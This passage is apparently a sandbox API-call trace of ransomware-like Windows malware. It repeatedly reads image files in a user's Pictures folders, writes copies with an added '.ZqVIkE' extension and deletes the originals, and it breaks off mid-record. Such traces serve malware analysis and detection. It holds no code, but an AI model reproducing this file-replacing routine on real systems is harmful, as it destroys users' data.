GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\L_CU\\0XkSo\\kQzXlpTZkm577\\HxGD.png", nBufferLength=0x105, lpBuffer=0x71e820, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\L_CU\\0XkSo\\kQzXlpTZkm577\\HxGD.png", lpFilePart=0x0) returned 0x3a [0118.311] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x71ed40) returned 1 [0118.311] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\L_CU\\0XkSo\\kQzXlpTZkm577\\HxGD.png" (normalized: "c:\\users\\fd1hvy\\pictures\\l_cu\\0xkso\\kqzxlptzkm577\\hxgd.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x37c [0118.311] GetFileType (hFile=0x37c) returned 0x1 [0118.311] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x71ecb0) returned 1 [0118.311] GetFileType (hFile=0x37c) returned 0x1 [0118.313] ReadFile (in: hFile=0x37c, lpBuffer=0x126a19a0, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x71ee98, lpOverlapped=0x0 | out: lpBuffer=0x126a19a0*, lpNumberOfBytesRead=0x71ee98*=0xf6d1, lpOverlapped=0x0) returned 1 [0118.321] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x71ee78 | out: lplpMessageFilter=0x71ee78*=0x0) returned 0x80004021 [0118.321] PeekMessageW (in: lpMsg=0x71ee10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x71ee10) returned 0 [0118.330] WriteFile (in: hFile=0x380, lpBuffer=0x2748a88*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x71ee28, lpOverlapped=0x0 | out: lpBuffer=0x2748a88*, lpNumberOfBytesWritten=0x71ee28*=0x1000, lpOverlapped=0x0) returned 1 [0118.331] WriteFile (in: hFile=0x380, lpBuffer=0x274b500*, nNumberOfBytesToWrite=0xe6f0, lpNumberOfBytesWritten=0x71ee88, lpOverlapped=0x0 | out: lpBuffer=0x274b500*, lpNumberOfBytesWritten=0x71ee88*=0xe6f0, lpOverlapped=0x0) returned 1 [0118.332] ReadFile (in: hFile=0x37c, lpBuffer=0x126a19a0, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x71ee98, lpOverlapped=0x0 | out: lpBuffer=0x126a19a0*, lpNumberOfBytesRead=0x71ee98*=0x0, lpOverlapped=0x0) returned 1 [0118.332] CloseHandle (hObject=0x37c) returned 1 [0118.332] WriteFile (in: hFile=0x380, lpBuffer=0x2748a88*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x71ed58, lpOverlapped=0x0 | out: lpBuffer=0x2748a88*, lpNumberOfBytesWritten=0x71ed58*=0x10, lpOverlapped=0x0) returned 1 [0118.332] CloseHandle (hObject=0x380) returned 1 [0118.334] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\L_CU\\0XkSo\\kQzXlpTZkm577\\HxGD.png", nBufferLength=0x105, lpBuffer=0x71ea20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\L_CU\\0XkSo\\kQzXlpTZkm577\\HxGD.png", lpFilePart=0x0) returned 0x3a [0118.334] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\L_CU\\0XkSo\\kQzXlpTZkm577\\HxGD.png" (normalized: "c:\\users\\fd1hvy\\pictures\\l_cu\\0xkso\\kqzxlptzkm577\\hxgd.png")) returned 1 [0118.336] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\L_CU\\0XkSo\\kQzXlpTZkm577\\Z9ciBpYwf0b_s5J.bmp.ZqVIkE", nBufferLength=0x105, lpBuffer=0x71e820, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\L_CU\\0XkSo\\kQzXlpTZkm577\\Z9ciBpYwf0b_s5J.bmp.ZqVIkE", lpFilePart=0x0) returned 0x4c [0118.336] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x71ed40) returned 1 [0118.336] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\L_CU\\0XkSo\\kQzXlpTZkm577\\Z9ciBpYwf0b_s5J.bmp.ZqVIkE" (normalized: "c:\\users\\fd1hvy\\pictures\\l_cu\\0xkso\\kqzxlptzkm577\\z9cibpywf0b_s5j.bmp.zqvike"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x380 [0118.336] GetFileType (hFile=0x380) returned 0x1 [0118.336] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x71ecb0) returned 1 [0118.336] GetFileType (hFile=0x380) returned 0x1 [0118.993] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\L_CU\\0XkSo\\kQzXlpTZkm577\\Z9ciBpYwf0b_s5J.bmp", nBufferLength=0x105, lpBuffer=0x71e820, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\L_CU\\0XkSo\\kQzXlpTZkm577\\Z9ciBpYwf0b_s5J.bmp", lpFilePart=0x0) returned 0x45 [0118.993] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x71ed40) returned 1 [0118.993] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\L_CU\\0XkSo\\kQzXlpTZkm577\\Z9ciBpYwf0b_s5J.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\l_cu\\0xkso\\kqzxlptzkm577\\z9cibpywf0b_s5j.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x37c [0118.993] GetFileType (hFile=0x37c) returned 0x1 [0118.993] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x71ecb0) returned 1 [0118.993] GetFileType (hFile=0x37c) returned 0x1 [0118.997] ReadFile (in: hFile=0x37c, lpBuffer=0x127a19d8, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x71ee98, lpOverlapped=0x0 | out: lpBuffer=0x127a19d8*, lpNumberOfBytesRead=0x71ee98*=0x9c90, lpOverlapped=0x0) returned 1 [0119.005] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x71ee78 | out: lplpMessageFilter=0x71ee78*=0x0) returned 0x80004021 [0119.005] PeekMessageW (in: lpMsg=0x71ee10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x71ee10) returned 0 [0119.007] WriteFile (in: hFile=0x380, lpBuffer=0x263f900*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x71ee28, lpOverlapped=0x0 | out: lpBuffer=0x263f900*, lpNumberOfBytesWritten=0x71ee28*=0x1000, lpOverlapped=0x0) returned 1 [0119.007] WriteFile (in: hFile=0x380, lpBuffer=0x26423a0*, nNumberOfBytesToWrite=0x8cb0, lpNumberOfBytesWritten=0x71ee88, lpOverlapped=0x0 | out: lpBuffer=0x26423a0*, lpNumberOfBytesWritten=0x71ee88*=0x8cb0, lpOverlapped=0x0) returned 1 [0119.008] ReadFile (in: hFile=0x37c, lpBuffer=0x127a19d8, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x71ee98, lpOverlapped=0x0 | out: lpBuffer=0x127a19d8*, lpNumberOfBytesRead=0x71ee98*=0x0, lpOverlapped=0x0) returned 1 [0119.008] CloseHandle (hObject=0x37c) returned 1 [0119.008] WriteFile (in: hFile=0x380, lpBuffer=0x263f900*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x71ed58, lpOverlapped=0x0 | out: lpBuffer=0x263f900*, lpNumberOfBytesWritten=0x71ed58*=0x10, lpOverlapped=0x0) returned 1 [0119.008] CloseHandle (hObject=0x380) returned 1 [0119.010] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\L_CU\\0XkSo\\kQzXlpTZkm577\\Z9ciBpYwf0b_s5J.bmp", nBufferLength=0x105, lpBuffer=0x71ea20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\L_CU\\0XkSo\\kQzXlpTZkm577\\Z9ciBpYwf0b_s5J.bmp", lpFilePart=0x0) returned 0x45 [0119.010] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\L_CU\\0XkSo\\kQzXlpTZkm577\\Z9ciBpYwf0b_s5J.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\l_cu\\0xkso\\kqzxlptzkm577\\z9cibpywf0b_s5j.bmp")) returned 1 [0119.013] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\L_CU\\8mq_\\HsGly8uxz9s.gif.ZqVIkE", nBufferLength=0x105, lpBuffer=0x71e820, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\L_CU\\8mq_\\HsGly8uxz9s.gif.ZqVIkE", lpFilePart=0x0) returned 0x39 [0119.013] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x71ed40) returned 1 [0119.013] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\L_CU\\8mq_\\HsGly8uxz9s.gif.ZqVIkE" (normalized: "c:\\users\\fd1hvy\\pictures\\l_cu\\8mq_\\hsgly8uxz9s.gif.zqvike"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x380 [0119.013] GetFileType (hFile=0x380) returned 0x1 [0119.013] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x71ecb0) returned 1 [0119.013] GetFileType (hFile=0x380) returned 0x1 [0119.716] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\L_CU\\8mq_\\HsGly8uxz9s.gif", nBufferLength=0x105, lpBuffer=0x71e820, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\L_CU\\8mq_\\HsGly8uxz9s.gif", lpFilePart=0x0) returned 0x32 [0119.716] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x71ed40) returned 1 [0119.716] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\L_CU\\8mq_\\HsGly8uxz9s.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\l_cu\\8mq_\\hsgly8uxz9s.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x37c [0119.717] GetFileType (hFile=0x37c) returned 0x1 [0119.717] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x71ecb0) returned 1 [0119.717] GetFileType (hFile=0x37c) returned 0x1 [0119.718] ReadFile (in: hFile=0x37c, lpBuffer=0x125a1968, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x71ee98, lpOverlapped=0x0 | out: lpBuffer=0x125a1968*, lpNumberOfBytesRead=0x71ee98*=0x13dcc, lpOverlapped=0x0) returned 1 [0119.726] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x71ee78 | out: lplpMessageFilter=0x71ee78*=0x0) returned 0x80004021 [0119.726] PeekMessageW (in: lpMsg=0x71ee10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x71ee10) returned 0 [0119.730] WriteFile (in: hFile=0x380, lpBuffer=0x272aff0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x71ee28, lpOverlapped=0x0 | out: lpBuffer=0x272aff0*, lpNumberOfBytesWritten=0x71ee28*=0x1000, lpOverlapped=0x0) returned 1 [0119.731] WriteFile (in: hFile=0x380, lpBuffer=0x272da60*, nNumberOfBytesToWrite=0x12de0, lpNumberOfBytesWritten=0x71ee88, lpOverlapped=0x0 | out: lpBuffer=0x272da60*, lpNumberOfBytesWritten=0x71ee88*=0x12de0, lpOverlapped=0x0) returned 1 [0119.732] ReadFile (in: hFile=0x37c, lpBuffer=0x125a1968, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x71ee98, lpOverlapped=0x0 | out: lpBuffer=0x125a1968*, lpNumberOfBytesRead=0x71ee98*=0x0, lpOverlapped=0x0) returned 1 [0119.732] CloseHandle (hObject=0x37c) returned 1 [0119.732] WriteFile (in: hFile=0x380, lpBuffer=0x272aff0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x71ed58, lpOverlapped=0x0 | out: lpBuffer=0x272aff0*, lpNumberOfBytesWritten=0x71ed58*=0x10, lpOverlapped=0x0) returned 1 [0119.732] CloseHandle (hObject=0x380) returned 1 [0119.734] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\L_CU\\8mq_\\HsGly8uxz9s.gif", nBufferLength=0x105, lpBuffer=0x71ea20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\L_CU\\8mq_\\HsGly8uxz9s.gif", lpFilePart=0x0) returned 0x32 [0119.734] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\L_CU\\8mq_\\HsGly8uxz9s.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\l_cu\\8mq_\\hsgly8uxz9s.gif")) returned 1 [0119.738] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\L_CU\\8mq_\\IyFftDJrx8ROGs0AZ.png.ZqVIkE", nBufferLength=0x105, lpBuffer=0x71e820, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\L_CU\\8mq_\\IyFftDJrx8ROGs0AZ.png.ZqVIkE", lpFilePart=0x0) returned 0x3f [0119.738] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x71ed40) returned 1 [0119.738] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\L_CU\\8mq_\\IyFftDJrx8ROGs0AZ.png.ZqVIkE" (normalized: "c:\\users\\fd1hvy\\pictures\\l_cu\\8mq_\\iyfftdjrx8rogs0az.png.zqvike"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x380 [0119.738] GetFileType (hFile=0x380) returned 0x1 [0119.738] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x71ecb0) returned 1 [0119.738] GetFileType (hFile=0x380) returned 0x1 [0120.453] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\L_CU\\8mq_\\IyFftDJrx8ROGs0AZ.png", nBufferLength=0x105, lpBuffer=0x71e820, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\L_CU\\8mq_\\IyFftDJrx8ROGs0AZ.png", lpFilePart=0x0) returned 0x38 [0120.453] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x71ed40) returned 1 [0120.453] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\L_CU\\8mq_\\IyFftDJrx8ROGs0AZ.png" (normalized: "c:\\users\\fd1hvy\\pictures\\l_cu\\8mq_\\iyfftdjrx8rogs0az.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x37c [0120.454] GetFileType (hFile=0x37c) returned 0x1 [0120.454] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x71ecb0) returned 1 [0120.454] GetFileType (hFile=0x37c) returned 0x1 [0120.455] ReadFile (in: hFile=0x37c, lpBuffer=0x126a19a0, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x71ee98, lpOverlapped=0x0 | out: lpBuffer=0x126a19a0*, lpNumberOfBytesRead=0x71ee98*=0x3638, lpOverlapped=0x0) returned 1 [0120.464] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x71ee78 | out: lplpMessageFilter=0x71ee78*=0x0) returned 0x80004021 [0120.464] PeekMessageW (in: lpMsg=0x71ee10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x71ee10) returned 0 [0120.465] WriteFile (in: hFile=0x380, lpBuffer=0x2626508*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x71ee28, lpOverlapped=0x0 | out: lpBuffer=0x2626508*, lpNumberOfBytesWritten=0x71ee28*=0x1000, lpOverlapped=0x0) returned 1 [0120.465] WriteFile (in: hFile=0x380, lpBuffer=0x2628f98*, nNumberOfBytesToWrite=0x2650, lpNumberOfBytesWritten=0x71ee88, lpOverlapped=0x0 | out: lpBuffer=0x2628f98*, lpNumberOfBytesWritten=0x71ee88*=0x2650, lpOverlapped=0x0) returned 1 [0120.466] ReadFile (in: hFile=0x37c, lpBuffer=0x126a19a0, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x71ee98, lpOverlapped=0x0 | out: lpBuffer=0x126a19a0*, lpNumberOfBytesRead=0x71ee98*=0x0, lpOverlapped=0x0) returned 1 [0120.466] CloseHandle (hObject=0x37c) returned 1 [0120.466] WriteFile (in: hFile=0x380, lpBuffer=0x2626508*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x71ed58, lpOverlapped=0x0 | out: lpBuffer=0x2626508*, lpNumberOfBytesWritten=0x71ed58*=0x10, lpOverlapped=0x0) returned 1 [0120.466] CloseHandle (hObject=0x380) returned 1 [0120.467] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\L_CU\\8mq_\\IyFftDJrx8ROGs0AZ.png", nBufferLength=0x105, lpBuffer=0x71ea20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\L_CU\\8mq_\\IyFftDJrx8ROGs0AZ.png", lpFilePart=0x0) returned 0x38 [0120.467] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\L_CU\\8mq_\\IyFftDJrx8ROGs0AZ.png" (normalized: "c:\\users\\fd1hvy\\pictures\\l_cu\\8mq_\\iyfftdjrx8rogs0az.png")) returned 1 [0120.470] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\L_CU\\8mq_\\W6FCb4MO2JqQHIFAetG.gif.ZqVIkE", nBufferLength=0x105, lpBuffer=0x71e820, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\L_CU\\8mq_\\W6FCb4MO2JqQHIFAetG.gif.ZqVIkE", lpFilePart=0x0) returned 0x41 [0120.470] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x71ed40) returned 1 [0120.470] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\L_CU\\8mq_\\W6FCb4MO2JqQHIFAetG.gif.ZqVIkE" (normalized: "c:\\users\\fd1hvy\\pictures\\l_cu\\8mq_\\w6fcb4mo2jqqhifaetg.gif.zqvike"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x380 [0120.470] GetFileType (hFile=0x380) returned 0x1 [0120.470] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x71ecb0) returned 1 [0120.470] GetFileType (hFile=0x380) returned 0x1 [0121.119] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\L_CU\\8mq_\\W6FCb4MO2JqQHIFAetG.gif", nBufferLength=0x105, lpBuffer=0x71e820, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\L_CU\\8mq_\\W6FCb4MO2JqQHIFAetG.gif", lpFilePart=0x0) returned 0x3a [0121.119] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x71ed40) returned 1 [0121.120] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\L_CU\\8mq_\\W6FCb4MO2JqQHIFAetG.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\l_cu\\8mq_\\w6fcb4mo2jqqhifaetg.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x37c [0121.120] GetFileType (hFile=0x37c) returned 0x1 [0121.120] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x71ecb0) returned 1 [0121.120] GetFileType (hFile=0x37c) returned 0x1 [0121.122] ReadFile (in: hFile=0x37c, lpBuffer=0x127a19d8, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x71ee98, lpOverlapped=0x0 | out: lpBuffer=0x127a19d8*, lpNumberOfBytesRead=0x71ee98*=0x14132, lpOverlapped=0x0) returned 1 [0121.130] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x71ee78 | out: lplpMessageFilter=0x71ee78*=0x0) returned 0x80004021 [0121.130] PeekMessageW (in: lpMsg=0x71ee10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x71ee10) returned 0 [0121.134] WriteFile (in: hFile=0x380, lpBuffer=0x2711290*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x71ee28, lpOverlapped=0x0 | out: lpBuffer=0x2711290*, lpNumberOfBytesWritten=0x71ee28*=0x1000, lpOverlapped=0x0) returned 1 [0121.136] WriteFile (in: hFile=0x380, lpBuffer=0x2713d20*, nNumberOfBytesToWrite=0x13150, lpNumberOfBytesWritten=0x71ee88, lpOverlapped=0x0 | out: lpBuffer=0x2713d20*, lpNumberOfBytesWritten=0x71ee88*=0x13150, lpOverlapped=0x0) returned 1 [0121.137] ReadFile (in: hFile=0x37c, lpBuffer=0x127a19d8, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x71ee98, lpOverlapped=0x0 | out: lpBuffer=0x127a19d8*, lpNumberOfBytesRead=0x71ee98*=0x0, lpOverlapped=0x0) returned 1 [0121.137] CloseHandle (hObject=0x37c) returned 1 [0121.137] WriteFile (in: hFile=0x380, lpBuffer=0x2711290*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x71ed58, lpOverlapped=0x0 | out: lpBuffer=0x2711290*, lpNumberOfBytesWritten=0x71ed58*=0x10, lpOverlapped=0x0) returned 1 [0121.138] CloseHandle (hObject=0x380) returned 1 [0121.139] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\L_CU\\8mq_\\W6FCb4MO2JqQHIFAetG.gif", nBufferLength=0x105, lpBuffer=0x71ea20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\L_CU\\8mq_\\W6FCb4MO2JqQHIFAetG.gif", lpFilePart=0x0) returned 0x3a [0121.139] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\L_CU\\8mq_\\W6FCb4MO2JqQHIFAetG.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\l_cu\\8mq_\\w6fcb4mo2jqqhifaetg.gif")) returned 1 [0121.146] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\L_CU\\8mq_\\f2jVPKj4tPZ\\K1QxIRb51Bk JPz9Y7M.png.ZqVIkE", nBufferLength=0x105, lpBuffer=0x71e820, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\L_CU\\8mq_\\f2jVPKj4tPZ\\K1QxIRb51Bk JPz9Y7M.png.ZqVIkE", lpFilePart=0x0) returned 0x4d [0121.146] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x71ed40) returned 1 [0121.146] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\L_CU\\8mq_\\f2jVPKj4tPZ\\K1QxIRb51Bk JPz9Y7M.png.ZqVIkE" (normalized: "c:\\users\\fd1hvy\\pictures\\l_cu\\8mq_\\f2jvpkj4tpz\\k1qxirb51bk jpz9y7m.png.zqvike"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x380 [0121.155] GetFileType (hFile=0x380) returned 0x1 [0121.155] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x71ecb0) returned 1 [0121.156] GetFileType (hFile=0x380) returned 0x1 [0121.849] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\L_CU\\8mq_\\f2jVPKj4tPZ\\K1QxIRb51Bk JPz9Y7M.png", nBufferLength=0x105, lpBuffer=0x71e820, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\L_CU\\8mq_\\f2jVPKj4tPZ\\K1QxIRb51Bk JPz9Y7M.png", lpFilePart=0x0) returned 0x46 [0121.849] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x71ed40) returned 1 [0121.849] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\L_CU\\8mq_\\f2jVPKj4tPZ\\K1QxIRb51Bk JPz9Y7M.png" (normalized: "c:\\users\\fd1hvy\\pictures\\l_cu\\8mq_\\f2jvpkj4tpz\\k1qxirb51bk jpz9y7m.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x37c [0121.849] GetFileType (hFile=0x37c) returned 0x1 [0121.849] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x71ecb0) returned 1 [0121.849] GetFileType (hFile=0x37c) returned 0x1 [0121.851] ReadFile (in: hFile=0x37c, lpBuffer=0x125a1968, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x71ee98, lpOverlapped=0x0 | out: lpBuffer=0x125a1968*, lpNumberOfBytesRead=0x71ee98*=0xf4ce, lpOverlapped=0x0) returned 1 [0121.858] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x71ee78 | out: lplpMessageFilter=0x71ee78*=0x0) returned 0x80004021 [0121.858] PeekMessageW (in: lpMsg=0x71ee10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x71ee10) returned 0 [0121.862] WriteFile (in: hFile=0x380, lpBuffer=0x2607020*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x71ee28, lpOverlapped=0x0 | out: lpBuffer=0x2607020*, lpNumberOfBytesWritten=0x71ee28*=0x1000, lpOverlapped=0x0) returned 1 [0121.863] WriteFile (in: hFile=0x380, lpBuffer=0x2609ac8*, nNumberOfBytesToWrite=0xe4e0, lpNumberOfBytesWritten=0x71ee88, lpOverlapped=0x0 | out: lpBuffer=0x2609ac8*, lpNumberOfBytesWritten=0x71ee88*=0xe4e0, lpOverlapped=0x0) returned 1 [0121.864] ReadFile (in: hFile=0x37c, lpBuffer=0x125a1968, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x71ee98, lpOverlapped=0x0 | out: lpBuffer=0x125a1968*, lpNumberOfBytesRead=0x71ee98*=0x0, lpOverlapped=0x0) returned 1 [0121.864] CloseHandle (hObject=0x37c) returned 1 [0121.864] WriteFile (in: hFile=0x380, lpBuffer=0x2607020*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x71ed58, lpOverlapped=0x0 | out: lpBuffer=0x2607020*, lpNumberOfBytesWritten=0x71ed58*=0x10, lpOverlapped=0x0) returned 1 [0121.864] CloseHandle (hObject=0x380) returned 1 [0121.866] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\L_CU\\8mq_\\f2jVPKj4tPZ\\K1QxIRb51Bk JPz9Y7M.png", nBufferLength=0x105, lpBuffer=0x71ea20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\L_CU\\8mq_\\f2jVPKj4tPZ\\K1QxIRb51Bk JPz9Y7M.png", lpFilePart=0x0) returned 0x46 [0121.866] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\L_CU\\8mq_\\f2jVPKj4tPZ\\K1QxIRb51Bk JPz9Y7M.png" (normalized: "c:\\users\\fd1hvy\\pictures\\l_cu\\8mq_\\f2jvpkj4tpz\\k1qxirb51bk jpz9y7m.png")) returned 1 [0121.869] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\L_CU\\8mq_\\f2jVPKj4tPZ\\swCSaVC_.gif.ZqVIkE", nBufferLength=0x105, lpBuffer=0x71e820, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\L_CU\\8mq_\\f2jVPKj4tPZ\\swCSaVC_.gif.ZqVIkE", lpFilePart=0x0) returned 0x42 [0121.869] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x71ed40) returned 1 [0121.869] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\L_CU\\8mq_\\f2jVPKj4tPZ\\swCSaVC_.gif.ZqVIkE" (normalized: 